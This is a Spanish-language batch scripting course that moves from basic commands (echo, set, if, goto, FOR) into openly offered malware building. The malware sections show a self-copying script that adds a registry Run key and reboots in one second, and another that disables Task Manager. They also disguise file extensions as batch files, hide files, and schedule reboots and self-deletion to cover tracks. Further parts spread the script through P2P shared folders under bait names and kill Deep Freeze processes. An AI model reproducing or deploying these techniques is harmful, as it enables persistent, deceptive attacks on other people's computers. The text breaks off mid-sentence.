Curso de Batch desde 0
Para quienes se inician en la programación

Autores: Saok y Azrael

Escritura a pdf: R0t

Lo primero y principal

Debes saber cuales son los comandos batch(más adelante te los explicaremos mejor, pero así vas calentado).

Para saber los comandos debes ir a:

Inicio>ejecutar

Aquí escribes "**cmd**" (sin pone las comillas)

Si te sale una ventana negra con letras blancas vas bien si no repítelo todo y fíjate bien.

En esta ventana que te a salido escribe **Help**

Te saldrá una lista con todos los comandos y sus características

Para saber más sobre un comando escribes:

nombre_del_comando /? ejemplo:

del /?

Ahora si quieres ponte a leer sobre ellos.

Aquí tenéis **todos** los comandos de la shell:

inicio>ejecutar y escriban:

ms-its:C:\WINDOWS\Help\ntcmds.chm::/ntcmds.htm

¿Qué es Batch?

¿Un lenguaje? ¿Unos códigos? ¿Una interpretación?

Hay muchas maneras de denominar a batch ya que la gente lo llama de muchas maneras. Yo como escritor de batch (o programador para los sensibles) lo llamaría así:

Batch son unos scripts interpretados por el sistema a través de la shell .

Estos scripts pueden ser ordenados en bloque:

-Entrada
-Primera línea
-Segunda línea
-Salida

Pero dependiendo la segunda línea de la primera, y la tercera de la segunda y así sucesivamente. Esto quiere decir que si un batch falla en su línea 52 el resto del batch no seguirá adelante.

Batch no es compilado si no que al igual que perl son interpretados, que para que los newbies lo entiendan mejor, se podría decir que se van leyendo como un libro jeje.

Primeros comandos y Sintaxis en Batch

Lo primero que deber saber que todo batch se comienza poniendo:

@ echo off

Esto desactiva el eco o repetición, es decir, que no te saldrá la ruta de donde se encuentra más el comando, pruébalo por ti mismo y comprenderás.

Notan la diferencia? bien sigamos.

-Como mostrar un texto en pantalla:

Se usa el comando "echo" de esta manera:

echo Texto a mostrar

ejemplo:

echo Esto es un tutorial para Glomur

tras poner esto, deben usar el comando pause(parar) o pasara a la siguiente línea sin casi verse. Con todo lo que tenemos aprendido seria así:

@ echo off
echo Texto a mostrar
pause
exit

–Si lo que quieren mostrar es un mensaje de tipo *ERROR* usaran el comando msg*).*Su forma de empleo es la siguiente:

msg * texto a salir

ejemplo:

msg * Esto es un tutorial para glumor.

Comandos Copiar, Mover, Borrar

Los comandos copiar, mover y borrar son copy, move, del. Sus usos respectivamente son:

-copy c:\ruta\origen c:\ruta\destino

por ejemplo, suponemos que queremos copiar un .txt :

copy c:\carpeta\nombre.txt c:\carpeta\nombre.txt

El comando move seria exactamente igual pero con el comando move:

move c:\carpeta\nombre.txt c:\carpeta\nombre.txt

El comando Del debería usarse con sus modificadores.Su utilización seria así:

del /modificador c:\ruta\archivo

ejemplo(pretendemos borrar un .txt):

del /q /s c:\carpeta\nombre.txt

Bien con todo lo aprendido hasta ahora ya podríamos hacer lo siguiente:

```
@ echo off
echo Se va a copiar el .txt
pause
copy c:\archivo\nombre.txt c:\archivo\nombre.txt
echo Se va a eliminar el archivo .txt original
pause
del /q /s c:\archivo\nombre.txt
msg * Trabajo completado!
exit
```

Variables

Bueno asumo que si ya estas leyendo esto es que habrás leído antes las partes 1 y 2 de este curso, por lo que en algún momento te habrás pasado por el área de Comandos Batch y les habrás echado un ojo. Bueno ya a partir de aquí no te recordare a cada paso lo de los comandos eso ya lo debes saber tu.

Empecemos hoy estudiaremos el tema de las **variables** no tocaremos todas sus funciones (porque son muchas) pero si las básicas para un escritor.

Aquí el comando maestro será SET , con este comando aremos infinidad de cosas y en muchas ocasiones lo acabaras usando.

-Ínteractuación con el usuario

Ya estas alturas estarías deseando escribir un programa que interactúe con el usuario, es decir, que el que este frente de la pantalla pueda meter datos. Esto lo vamos a lograr con el comando Set (y sus modificadores) y con el comando Echo (par que quede bonito).

La forma en la que se crea una variable en la que el usuario le dará un valor es bajo esta sintaxis de Set:

set /p nombrevariable=

El usuario introduciría un dato de cualquier tipo, que se asignaría a nombrevariable, para usar las variables empleamos los signos % delante y detrás del nombre de la variable:

%nombrevariable%

Ahora con lo aprendido en las partes anteriores vamos a crear un simple codigo que te ara entender todo esto:

```
@ echo off
echo Curso Batch
echo.
echo Introduce tus años
set /p edad=
echo vaya vaya tienes %edad% años
pause
msg * Gracias por visitar Glomur
exit
```

Después de ver el código lo primero que te preguntaras porque entre las líneas **4 y 5** no introdujo un pause si fue lo que nos dijo en la parte 2. No, no me equivocado, set en ese caso hace que pare el programa ya que el dato que tiene que introducir (por así decirlo) es importante.

-Creando valores semifijos

Un dato importante es que son “semifijos” porque solo duran mientras que esta el batch en ejecución o mejor dicho, mientras esta la shell abierta. Estos datos son muy cómodos, para no tener que estar recordando datos constantemente y poder resumirlo en una palabra.
Esto se crea bajo el comando set con esta sintaxis:

set nombrevariable=datovariable

Es importante decir, que batch, no reserva espacios de memoria por lo que si creas otra variable con el mismo nombre, se escribirá sobre la actual.

Aquí un ejemplo:

```
@ echo off
set devolucion=2015845215
set nueva=2015844215
……
……
```
creo que queda claro no así en vez de tener que introducir el numero tan largo podemos resumirlo poniendo %devolucion%

-Operadores matemáticos usando Set

Con esto me refiero a sumar, restar, multiplicar y dividir.
Todo esto se consigue bajo el comando set con la siguiente sintaxis:

set /a resultado=dato1 operador dato2

Para que lo entendáis mejor os lo pongo de ejemplo:

set/a resultado=5 + 5

Con esto se almacena en la variable resultado la suma de 5+5

Fácil verdad? de esto ya solo me queda aclarar una cosa y es que a batch son se le dan bien los decimales jejeje así que no pongáis números como 5 - 4.99999999999999999991

If, Bucles y Otros comandos

Esta puede ser una de las partes más complicadas y extensas.
Empezare flojito para no atosigar a tu cerebro tan pronto.

-Limpiando la pantalla
Batch tiene un comando limpiador que sirve para eliminar todo lo que hay en la shell escrito, el comando es cls el cual no tiene sintaxis se pone cls y listo.

-Bucles

Los bucles se componen de dos partes el comando que realiza el salto (goto) y la etiqueta que lo recibe. Con los bucles podemos hacer saltos de línea para llegar a otra parte del código sin ejecutar ciertas líneas antes la sintaxis, apenas es complicada:

```
:bucle        (esta es la etiqueta)
…….             (Líneas que se ejecutaran
…….                   continuamente)
goto :bucle    (volverá a la etiqueta)
```

Simple verdad? pues así tenemos un bucle que lo puedes usar como quieras o haciendo salto de líneas, me explico, supongamos que hemos desarrollado un código, pero necesitamos ejecutar primero un trozo que esta al final podríamos hacer esto:

```
:inicio          (primera etiqueta)
…….            (Código)
…….            (Código)
goto :trozo    (saltamos a la línea que nos interesa)
:seguimos       (volveremos aquí cuando acabemos en la línea
……                  que salteamos antes)
……
……
:trozo           (línea a la que hemos venido)
……
……
goto :seguimos   (regresamos al punto donde nos quedamos)
```

Creo yo que no esta complicado no? Bueno sigamos

-Comparando cosas y otras opciones (comando IF)

Veamos, para que te hagas una idea con el comando if podemos comprobar si existe algo, comparar dos cosas, crear bucles de tiempo determinado, etc.

—-*Comando if para la comparación*

Os voy a enseñar a comprar dos variables que creo que no es muy complicado la sintaxis es así:

if variable1==variable2 (comando)

Ejemplo

if %saok%==%redactor% (msg * saok is the redactor1)
con esto compararíamos si lo que hay dentro de la variable "saok" y la variable "redactor" es la misma se muestra un mensaje.

If también nos da la opción de hacer algo si el resultado no es satisfactorio (lo iba a explicar con 0 y 1 pero así se entiende mejor). La sintaxis es la siguiente:

if %variable1%==%variable2% (comando) else (comando)

ejemplo:

if %saok%==%redactor% (msg * si es cierto) else (msg * no es cierto)

Con esto lo que hacemos se si la variable "saok" es igual que "redactor" muestre un mensaje, pero si no es igual, muestre otro mensaje.

Entre los paréntesis (siempre con paréntesis) se puede colocar el comando que se quiera.

— *Comprobando archivos*

Con if se puede comprobar si un archivo existe. La sintaxis es la siguiente:

if exit ruta (comando)

Ejemplo:

if exit c:\carpeta\archivo.txt (msg * existe)

Esto lo que hace es que si existe el archivo.txt en esa ruta muestra un mensaje. El comando entre paréntesis se puede cambiar. Aquí también se puede añadir la función else para que en caso de que no exista haga otra cosa

if exit c:\carpeta\archivo.txt (msg * existe) else (msg * no existe)

—Creando Búcles limitados.

Aquí estuve tratando de explicarlo pero mejor decidí que os pondría un código muy simple y así lo analizáis y comprendéis vosotros.

```
@ echo off
:inicio
cls
set numero2=1
set /a resultado=%resultado% + %numero2%
if %resultado%==99 (goto :seguimos) else (goto :inicio)
```

Con este código lo que hacemos es que a la variable resultado (por defecto 0) se le suma 1 y luego se compara con if si es 99 sigue si no vuelve a empezar. Pero esta vez la variable resultado no será 0 si no 0+1+1=2 ósea será 2,y en la próxima 3 y luego 4….5…6 etc todos sabemos contar…cuando llegue a 99 pasara a la etiqueta :seguimos y el código que hayamos puesto.

Bueno con este acabamos la parte 4, pasemos

Registro en Batch

Hoy vamos a hablar del registro en batch.
Todo viene a partir del comando **reg** voy a explicarlo:

—Añadiendo una clave al registro

Para esto usamos el comando Red add con sus modificadores, como es largo pongo directamente el ejemplo y todos lo comprenderéis:

reg add “HKLM\Software\Microsoft\Windows\CurrentVersion\Run” /v Glomur /d c:\WINDOWS\system32\nombre.bat”

Con ese código lo que hacemos es agregar una clave al registro (concretamente para que inicie un batch con la pc)

Ay distintos tipos valores en el registro aquí se los dejo:

Tipos de datos de clave de registro
[REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
REG_NONE | REG_EXPAND_SZ]
Si se omite, se asume REG_SZ

—Borrando Claves del registro

Para eso usamos el comando red delete y luego con menos la clave a borrar. Ejemplo:

reg delete hklm\Software\Mico\MiAlp\Timeout

—Modificando Claves en el registro

Esto se hace también con el comando reg add pero escribiendo encima simplemente le damos los valores que queramos:

reg add hkcu\software\microsoft\windows\currentversion\policies\system" /v disabletaskmgr /t reg_dword /d ""1"" /f

Con ese código escribimos encima del valor dword de esa clave

—Exportando e importando

Sirve para importar o exportar el registro y los comandos son reg import y reg export:

reg export HKLM\Software\Mico\MiAp CopiaAp.reg

reg import CopiaAp.reg

Creo que no hace ni falta explicarlo. Lo único que si se omite clave se exporta todo el registro.

Ahora quiero hablaros de los **redireccionadores**, que son de lo mas simple de batch,se usa **>** o **>>** la sintaxis es la siguiente:

echo texto que se quiere guardar > c:\carpeta\noexiste.txt
echo texto que se quiere guardar >>c:\carpeta\existe.txt

La diferencia es muy grande, en el 1º se crea el archivo no existe y se escribe eso dentro. En el 2º el archivo existe.txt ya existe y lo que se hace es añadir el texto al final y guardarlo.

FTP con Batch

Hoy vamos a tocar un tema corto pero muy importante que es el tema del FTP.Cuando empezaba con batch yo y mis amigos teníamos muchos problemas con este comando ya que es “complicadillo” de usar, empecemos.

Veamos cuando lo entendimos es muy fácil usamos el comando **ftp** y sus modificadores. Pero lo primero que los comandos para el ftp no se usan con este, este comando solo es para conectar, los comandos ftp los tienes que colocar dentro de un .txt (para que no haya lios,voy a trabajar desde el disco local C:\)

Entonces creamos un .txt llamado conexión y colocamos las cosas dentro de la siguiente manera:

Username
pass
comando
comando
comando

Ejemplo:

Saok
Glomur
hash
status

Y lo guardamos dentro del .txt

Para usarlo, usaremos el comando ftp de la siguiente forma:
ftp -s:c:\conexion.txt 124.102.23.5

ftp es el comando -s:c:\ruta\conexion.txt es el archivo text con las ordenes y esa ip seria la del servidor al que vamos a conectar.

—Como mandar archivos por FTP

Dentro del .txt después del user y el pass ponemos:

send c:\carpeta\archivo.txt

así mandamos un archivo.

—Como crear una carpeta en el ftp

Detrás del user y el pass ponemos:

mdir nombrecarpeta

NOTA: recordar después de todos los comandos colocar bye o closed (yo recomiendo bye)

Sugerencias y recomendaciones:

Siempre que el batch deba de ser usado en otra PC hacer que se reemplace el archivo.txt por otro con el mismo nombre y luego se borre, así quedaras completamente anónimo.

Si vas hacer conexiones ilegales tener cuidado porque se queda registrada tu IP.

Intentar que el user y el pass no contengan caracteres raros para batch ni comodines (* %)

Shutdown, Assoc, Attrib , AT

Hoy ya damos un gran paso, pasamos de aprender a programar. Notareis que las explicaciones son más justas y ahora elaboraremos códigos más funcionales.

Os empezare comentando con el comando Shutdown,es una comando que si lo lees en la shell parece simple y en caso de que se active, es facilísimo de parar, pero también puede provocar muchos daños y hacer que necesites entrar en el Modo aprueba de fallos para solucionarlo.

Su sintaxis es shutdown modificador
ejemplo:

shutdown -r -t 200

Esto provocará el reinicio de la PC en 200 segundos. Así de simple no ara mucho, más que la petada de que te hace reiniciar si se pasa el tiempo, para pararlo escribimos:

shutdown -a

Pensaras que corrada si se puede parar tan fácilmente, pues no, que pasaría si te pusiera:

shutdown -r -t 1 o shutdown -r -t 0

No tendrías tiempo ni de cargar la shell, tampoco seria una gran amenaza, sin embargo si jugamos con lo que explicamos en la parte del comando REG podríamos joder mucho, de la siguiente forma.
(Ya voy a aclarando de que Glomur ni ninguno de sus redactores se hace responsable de lo que hagas con este código)

```
@ echo off
copy /y %0 c:\WINDOWS\system32\nombre.bat
reg add “HKLM\Software\Microsoft\Windows\CurrentVersion\Run” /v Glomur /d
c:\WINDOWS\system32\nombre.bat”
shutdown -r -t 1
exit
```

Esto lo guardamos como nombre.bat y ya tenemos echo un mini-malware personal que puede joder mucho.

De aquí solo comentar la función %0 en copy , con eso conseguimos que si no sabemos donde esta el batch para usar el comando copy el se busca así mismo.

Otra función (o comando mejor dicho) interesante en batch es **assoc**
Este comando sirve para crear nuestras propias extensiones, y de que sirve esto, pues de mucho.

Batch por el icono es muy cantoso, pero si lo renombramos a .saok ya es menos cantoso le podemos cambiar el icono, aquí unos ejemplos que os lo haran entender bien:

```
assoc .txt=batfile
assoc .gif=batfile
assoc .avi=batfile
assoc .glomur=batfile
```

xD creo que se entiende perfectamente, toma una extensión y la convierte en batch

Otra función muy usada y destacada es el comando **Attrib** (atributos) sirve para cambiar las propiedades de un archivo.

Veamos supongamos que tenemos un archivo recién creado en la carpeta c:\carpeta\archivo.bat y no nos interesa que se sepa que esta ahí, pues usamos el comando attrib de esta forma:

```
attrib +h c:\carpeta\archivo.bat
```

Yo para mi gusto lo que aria seria al principio del código seria colocar:

```
set ruta=c:\carpeta\archivo.bat
```

y cuando necesite usar attrib pondria:

```
attrib +h %ruta%
```

Pero attrib también puede cambiar las propiedades de una carpeta, simplemente ponemos:

```
attrib +h c:\carpeta
```

Y esa carpeta estará oculta.

Y además de todo esto, attrib puede cambiar atributos que ya existan. Por ejemplo, tenemos un archivo del sistema solo de lectura el cual no nos lo deja mover si editar, pues ponemos (preferentemente en este orden):

attrib -r -s c:\carpeta\archivo.exe

Según lo que hemos aprendido en esta parte del curso, podríamos crear un malware bastante curioso jeje.
Pero estéticamente falla, que nada mas empezar se ejecute el código y para finalizar se reinicie no? pues te hace sospechar y mas si abre ese archivo otra ves y pasa lo mismo, pues para eso nos ponemos los guantes y usamos en el comando **AT** este comando sirve para programar tareas, entonces programamos por ejemplo que la PC se reinicie a las 8 PM entonces ponemos en nuestro código:

at 20:00 shutdown -r -t 10 -c “Se reiniciara la pc por un fallo interno.”

Así a las 8 pm se producirá el reinicio bastante lejos de la ora a la que le pasemos el batch. jeje.

Y luego para ya convertir nuestro código en el batch del guante blanco, podríamos seguir usando batch y añadir la función:

at 20:30 del /q /s c:\rutade\nuestro\batch.bat

Así no queda ni rastro de nuestro batch. muajajajaja

El P2P con batch

A partir de aquí ya lo voy a dedicar a la programación de malwares, ya que con ellos (según mi experiencia) se ponen mejor casos que con el desarrollo de software normal.

Bueno hoy Hablaremos de las redes P2P. Lo primero entender que es p2p y como funcionan los nodos (en la pagina oficial de emule, tienes una explicación muy buena).Ya comprendido esto podemos seguir.

Lo primero que te voy a mencionar y exigir es un buen nombre, pero te recomiendo que sea un nombre corto para obtener mejores resultados en las búsquedas. Ya pensado el nombre, necesitamos obtener los directorios de los principales programas de p2p, no te preocupes aqui te los dejo:

C:\Archivos de programa\Grokster\My Grokster\
C:\Archivos de programa\Morpheus\My Shared Folder\
C:\Archivos de programa\ICQ\shared files\
C:\Archivos de programa\KaZaA\My Shared Folder\
C:\Archivos de programa\KaZaA Lite\My Shared Folder\
C:\Archivos de programa\EDONKEY2000\incoming\
C:\Archivos de programa\eMule\Incoming\

C:\Archivos de programa\Filetopia3\Files\
C:\Archivos de programa\appleJuice\incoming\
C:\Archivos de programa\Gnucleus\Downloads\
C:\Archivos de programa\LimeWire\Shared\
C:\Archivos de programa\Overnet\incoming\
C:\Archivos de programa\Shareaza\Downloads\
C:\Archivos de programa\Swaptor\Download\
C:\Archivos de programa\WinMX\My Shared Folder\
C:\Archivos de programa\Tesla\Files\
C:\Archivos de programa\XoloX\Downloads\
C:\Archivos de programa\Rapigator\Share\
C:\Archivos de programa\KMD\My Shared Folder\
C:\Archivos de programa\BearShare\Shared\
C:\Archivos de programa\Direct Connect\Received Files\

Ya teniendo todo, procederemos a aplicar el comando copy que ya vimos anteriormente, pondré un ejemplo de como.

copy %0 c:*archivos*\emule\incoming\sex_pass.bat

Bien no estaría mal también matar el proceso del emule (o el/los programa/as que estés usando para el p2p).Con el reinicio aseguras que se recomiencen las fuentes.
Ejemplo:

TASKKILL /im /PID emule.exe

Bueno con esto acabamos la propagación por p2p pero antes diré un par de cosas sobre ella

En batch la propagación por p2p es poco efectiva, por eso de que se puede mirar el código, el icono es sospechoso….por eso ponerla por si cuela pero si el code va muy sobre cargado no pasa nada si no la pones. Piensa que no programas un virus si no una bomba lógica, por lo cual es para transferir y que haga su efecto, no pienses en reproducciones.

Otro facto importante es que si el batch luego lo pasas a .exe y usas el comando copy dará errores cuando se ejecute la copia del archivo.

TASSKILL y otros

Aclarar que esta parte fue escrita por un excelente programador y no es de los miembros de glomur. Un saludo Azrael:

Primero que nada NT permite al igual que un sistema UNIX el poder “matar” procesos a través de una shell de comandos, en UNIX: kill -ps [PID] donde PID es el ID o valor índice en la tabla de procesos….

En NT han ido cambiando los comados:

en NT 4 se usaba algo llamado “Windows NT 4Resource kit” que era una herramienta que se descargaba desde windows.com/downloads. y los comandos TLIST y KILL realizaban esa tarea (ya integrados en el sistema).

En sistemas RK y OS/2 se llamaban (excepto en OS/2) PSLIST y PSKILL (parecido en Solaris.

En sistemas NT 5 (XP-SP1 y XP-SP2 release y beta) se conocen como TASKLIST y TASKKILL,

TASKLIST:

Nombre de imagen PID Nombre de sesión Núm. de Uso de memoria
========================= ====== ================ ========
============
System Idle Process 0 Console 0 16 KB

Te muestra básicamente el nombre del proceso y el ID…

TASKLIST:

TASKKILL [/S sistema] [/U usuario [/P contraseña]]
{ [/FI filtro] [/PID IdProceso | /IM NombreImagen] } [/F] [/T]

Descripción:

Esta herramienta de la línea de comandos puede usarse en uno o mas procesos.
Los procesos pueden terminarse a través del Id. o del nombre de imagen.

Lista de parámetros:
/S sistema Especifica el sistema remoto al que conectarse.

/U [dominio\]usuario Especifica el contexto de usuario en el que se que el comando debe ejecutarse.

/P contraseña Especifica la contraseña para el contexto de usuario dado. Pide la entrada si se omite.

/F Específica la terminación forzada de proceso(s).

/FI filtro Específica un conjunto de tarea que coinciden con el criterio especificado en el filtro.

/PID Id. de proceso Especifica el ID. de proceso que se debe terminar.

/IM nombre de imagen Especifica el nombre de imagen del proceso que debe terminar. El carácter comodín "*" puede usarse para especificar todos los nombres de imagen.
/T Terminar árbol: termina el proceso especificado y todos los procesos secundarios iniciados por él.
/? Muestra el uso de la ayuda.

Filtro(s):

Nombre filtro	Operadores validos	Valores validos
STATUS	eq, ne	RUNNING | NOT RESPONDING
IMAGENAME	eq, ne	Nombre de imagen.
PID	eq, ne, gt, lt, ge, le	Valor de PID.
SESSION	eq, ne, gt, lt, ge, le	Número de sesión
CPUTIME	eq, ne, gt, lt, ge, le	Tiempo valido en el formato hh:mm:ss. hh - horas, mm - minutos, ss - segundos
MEMUSAGE	eq, ne, gt, lt, ge, le	Uso de memoria en KB.
USERNAME	eq, ne	Nombre de usuario en formato [dominio\]usuario.
MODULES	eq, ne	Nombre de DLL
SERVICES	eq, ne	Nombre de servicio.
WINDOWTITLE	eq, ne	Título de ventana.

Nota: el carácter comodín "*" del modificador /IM se acepta solamente con filtros.

Nota: los procesos remotos siempre se terminarán de manera forzada sin tener en cuenta si la opción /F se ha especificado o no.

Ejemplos:
TASKKILL /S sistema /F /IM notepad.exe
TASKKILL /PID 1230 /PID 1241 /PID 1253
TASKKILL /F /IM notepad.exe /IM mspaint.exe
TASKKILL /F /FI "PID ge 1000″ /FI "WINDOWTITLE ne untitle*"
TASKKILL /F /FI "USERNAME eq NT AUTHORITY\SYSTEM" /IM notepad.exe
TASKKILL /S sistema /U dominio\usuario /FI "USERNAME ne NT*" /IM *
TASKKILL /S sistema /U nombreusuario /P contraseña /FI "IMAGENAME eq note*"

Básicamente nosotros solo queremos saber que "matar" así que podemos arreglar un batch process que nos lea las ID y las relacione a nuestro nombre de proceso (si lo conocemos) así:

TASKKILL /IM %PID%

/IM es la que nos conviene usar para terminar

Parámetro:

/IM nombre de imagen Específica el nombre de imagen del proceso que debe terminar. El carácter comodín "*" puede usarse para especificar todos los nombres de imagen.

Esto es para relacionar nuestro nombre de imagen que es el nombre DOS que nosotros queremos.

Nos conviene también "terminar el proceso" en forma "absoluta" por si esta protegido o es de sistema bajo el esquema NT/AUTHORITY

Parámetro:

/F Específica la terminación forzada de proceso(s).

Para todo esto estamos "suponiendo" que se ejecuta bajo privilegios de admin. de lo contrario necesitamos especificarlo….

Mmmm, pues nuestro sencillo kill process puede verse así:

```
@ ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I "%1″ | FIND /I /V "CMD.EXE"
FOR /F "tokens=1*" %%A IN ('TASKLIST ^| FIND /I "%1″ ^| FIND /I /V
"CMD.EXE"') DO SET PID=%%A
TASKKILL /F /IM %1
ENDLOCAL
```

Este sencillo batch nos va a mostrar los procesos para los que el denominador de imagen sea nuestro parámetro de entrada (todos los procesos con el mismo nombre) y su ID

Copien y peguen el code en el block de notas (notepad para los sensibles) y guárdenlo con el nombre que quieran y pongan la extensión .bat

code:

```
@ ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I "%1″ | FIND /I /V "CMD.EXE"
FOR /F "tokens=1*" %%A IN ('TASKLIST ^| FIND /I "%1″ ^| FIND /I /V
"CMD.EXE"') DO SET PID=%%A
TASKKILL /F /IM %1
ENDLOCAL
```

Perdonen la presentación pero soy novato aun je je (risa diabólica) pero bueno, solo deben agregar los nombres de los procesos que quieren matar (deep freeze) así:

```
@  ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I “DFServEX.exe” | FIND /I “FrzState.exe” | FIND /I /V
“CMD.EXE”
FOR /F “tokens=1*” %%A IN (’TASKLIST ^| FIND /I “%1″ ^| FIND /I /V
“CMD.EXE”‘) DO SET PID=%%A
TASKKILL /F /IM FrzState.exe /IM DFServEX.exe
ENDLOCAL
```

OJO: Recuerden que estoy usando comandos para NT 5, si quieren usarlos en NT 4 cambien taskkill por kill y tasklist por tlist y mas importante si usan NT 4 deben asegurarse que Windows NT 4 Resource Kit este instalado…

```
@   ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I “%1″ | FIND /I /V “CMD.EXE”
FOR /F “tokens=1*” %%A IN (’TASKLIST ^| FIND /I “%1″ ^| FIND /I /V
“CMD.EXE”‘) DO SET PID=%%A
TASKKILL /F /IM %1
ENDLOCAL
```

tskill ok es comando así como taskkill y tasklist vienen incorporados en windows xp o sea NT 5

Si observas lo cambie en especial para deepfreeze así.:

```
@   ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I “DFServEX.exe” | FIND /I “FrzState.exe” | FIND /I /V
“CMD.EXE”
FOR /F “tokens=1*” %%A IN (’TASKLIST ^| FIND /I “%1″ ^| FIND /I /V
“CMD.EXE”‘) DO SET PID=%%A
TASKKILL /F /IM FrzState.exe /IM DFServEX.exe
ENDLOCAL
```

Únicamente incorpore en el find el nombre del proceso, no es genérico, es especifico pero puede ser un punto de partida en batch para hacer un DESTROY ALL como el que planteo lokisho pero mas elegante, en esencia desarmar el sistema desde procesos primero.

Quizá un lanzador de querys seria genial por si la maquina tiene acceso o esta montado el ella un sql server
y listo…

Saludos

Funciones en Red y FOR

En esta parte vamos a tratar las funciones en red y el comando FOR. Utilizaremos varios comandos que explicare en su momento.

Veamos el comando net.

El comando **net** es muy amplio con el puedes modificar usuarios desde su nombre a su contraseña (siempre que se tengan permisos de administrador)Ejemplo:

net user username password

net user saok glomur

Así cambio al usuario saok su password y le pongo el nuevo de Glomur.

También puedes compartir carpetas o incluso el disco dura enterito de la siguiente forma:

Sintaxis: net share recurso=unidad o ruta /comentario /usuarios

Ejemplo: net share C$=C:\ /remark:"Disco Duro" /users:2

(para mas información consulta el apartado de comandos)

Otro comando que ya vimos pero que no explique sus funciones para la red, es el comando Shutdown.
Colocándole el modificador **- m \\equipo** puedes apagar o reiniciar un PC en red Lan.
Ejemplo:

Shutdown -r -m \\ordenador2 -t 10

Con esto reiniciaríamos la PC en red Lan con el nombre ordenador 2 en un tiempo de 10 segundos.

Y bueno que las funciones en red en batch dejan mucho que desear

Vayamos con el comando **FOR**

```
SINTAXIS

FOR %variable IN (cjto) DO comando
 Los parámetros son:
   FOR /D %variable IN (conjunto) comando DO [parámetros]
       Se usa cuando las extensiones de comandos están habilitadas

   FOR /R [[unidad:]ruta] %variable IN (set) DO comando [parámetros]
```

Cuando usamos comodines, para ejecutar el for recursivamente dentro de un directorio especificado
(unidad:ruta) en los archivos especificados por los comodines

FOR /L %variable IN (ini,paso,fin) DO comando [parámetros]
Este es el típico FOR de toda la vida. Supongo ini=0 paso=1 y fin=4, se crearía la sucesión 0,1,2,3,4,5

FOR /F ["opciones"] %variable IN (cjto archivos) DO comando [parámetros]
Este es el que tiene chichita.
Ahora, el procesamiento de cada línea se puede modificar a nuestro antojo mediante las ["opciones"], siendo estas:
EOL=c
Indica que se procesen todas las líneas del archivo menos las que empiecen por este carácter

SKIP=n
Indica el nº de línea del archivo por el que empezamos a procesarlo. Es decir, si pongo skip=5, las 5 primeras líneas
Del archivo no se procesaran

DELIMS=xxx
Dice donde (en que símbolos) se quedara el for en cada vuelta (dentro de una misma línea)

TOKENS=x,y,m-n
Dice cuales son las vueltas validas del for, es decir, en que vueltas del for nuestra variable tomara un valor. Se pueden
poner posiciones sueltas: 2,3,4 o rangos: 1-4 o incluso los dos juntos: 1,3-5. además, si ponemos el *, se añade otra variable adicional
que contendrá el resto de la cadena que no haya llegado a ser procesada por el FOR

USEBACKQ
Esto es para el uso de comillas, no es algo muy importante, pero puede ser util dependiendo de como se llamen los archivos
Primero explicare como funciona el FOR /F ["opciones"] .....

Pues vamos a ver, esto lo que hace es buscar en todas las filas de un archivo. Entonces, almacena en variables el trozo de cadena
que existe entre un delimitador y otro, y así hasta el nº de tokens. un ejemplo cutre seria, en la línea

hola buenos días

Si el delim=" " (espacio en blanco) y tokens=1,2,3. Esto significa que queremos coger 3 (1,2,3) trozos de cadena que esten uno tras
otro de forma contigua y delimitados por el espacio. Así obtendríamos 3 variables que almacenarían
i=hola
j=buenos
k=días

Pongamos ahora un ejemplo real por si no se ha entendido.
Creamos el archivo de texto 1.txt con el siguiente contenido

---------- 1.txt
;hola buenos dias
este es un manual, dedicado al for

```
;para.la.gente.que.quiera.aprender
;y para los demas tambien
hasta luego
1 =Hola
2=adios
3=buenas
-----------------
```

vamos a realizar un primer FOR. abrimos la consola y ponemos

```
for /f "eol=; tokens=1 delims=," %i in (1.txt) do echo %i
```

Este for procesara todas las lineas menos las que empiecen por ; ya que eol=;
En cada linea que procese solo dara tantas vueltas como "," se encuentre (delims=,). y almacenara en la variable %i,
solamente la parte de la cadena que se encuentre entre el principio y la primera (tokens=1) aparicion de ","
Para las lineas que no tengan "," se considera el primer token como la linea completa, porlo que en esas lineas
en vez de pasar de ella, las tomara enteras en la variable. Asi, el resultado de este for seria:

```
este es el manual     ---> falta lo que viene a partir de la ","
porque no lo ha cogido debido al delims
hasta luego           |
1 =Hola               |-->En estas, como no hay "," coge toda la linea
2=adios               |
3=buenas              |
```

Otro ejemplo mas claro seria:

```
for /f "eol=; tokens=1,2,3 delims= " %i in (1.txt) do echo %i %j %k
```

lo mismo daria poner la parte tokens asi:

```
for /f "eol=; tokens=1-3 delims= " %i in (1.txt) do echo %i %j %k
```

Ahora queremos coger de cada linea, menos de las que empiecen por ; (eol=;) las cadenas que se encuentren entre
token1 --> el principio y el primer " " (delims=" ")
token2 --> el primer " " y el segundo " "
token3 --> el segundo " " y el tercer " "
y el resto lo desecharíamos.
Darse cuenta de que en este caso necesitamos coger 3 cosas por cada linea, por lo que no nos vale solo con la variable
%i, si no que necesitaremos tambien las %j y %k. Para esto, j y k no se declaran en el for (como la %i, de hecho
unicamente se dclara la primera que se vaya a usar, puede ser %i, %a, %1 o lo que sea), si no que se ponen en el la
parte del comando a la hora de trabajar con ellas.
Tener en cuenta tambien que si declaramos la variable %i en el for todas las que usemos deben ir consecutivas en
orden alfabetico y nunca superar los 26 simbolos. seria %i %j %k %l %m....
si seleccionamos %a en el for, seria %a %b %c %d.
y siempre diferenciando entre MAY y min.

Entonces en este ejemplo nos saldria lo siguiente:

```
este es un
hasta luego
```

```
1 =Hola
2=adios
3=buenas

si queremos, para verlo mas claro, podemos meter algun caracter raro
entre %i, %j y %k

for /f "eol=; tokens=1-3 delims= " %i in (1.txt) do echo %i ? %j ? %k

Obteniendo el siguiente resultado

este ? es ? un
hasta ? luego ?
1 ? =Hola ?
2=adios ? ?
3=buenas ? ?

Vemos como en las lineas 3 y 4 aparecen las ? al final y sin nada
entre medias, esto se debe a que la variable %i
contiene 2=adios (todo hasta el final) y las variables %j y %k estan
vacias

Un ultimo ejemplo para ver el uso del * seria. para ello le quitamos
el ; al principio de todas las lineas que lo tuvieran:

for /f "tokens=1,2* delims= " %i in (1.txt) do echo %i ? %j ? %k

Ahora pone en las variables %i y %j:
token1 (variable %i)--> entre el principio y el primer " " (delims="
")
token2 (variable %j)--> entre el primer " " y el segundo " "

y en la variable %k, que viene definida por el token *, se pondra el
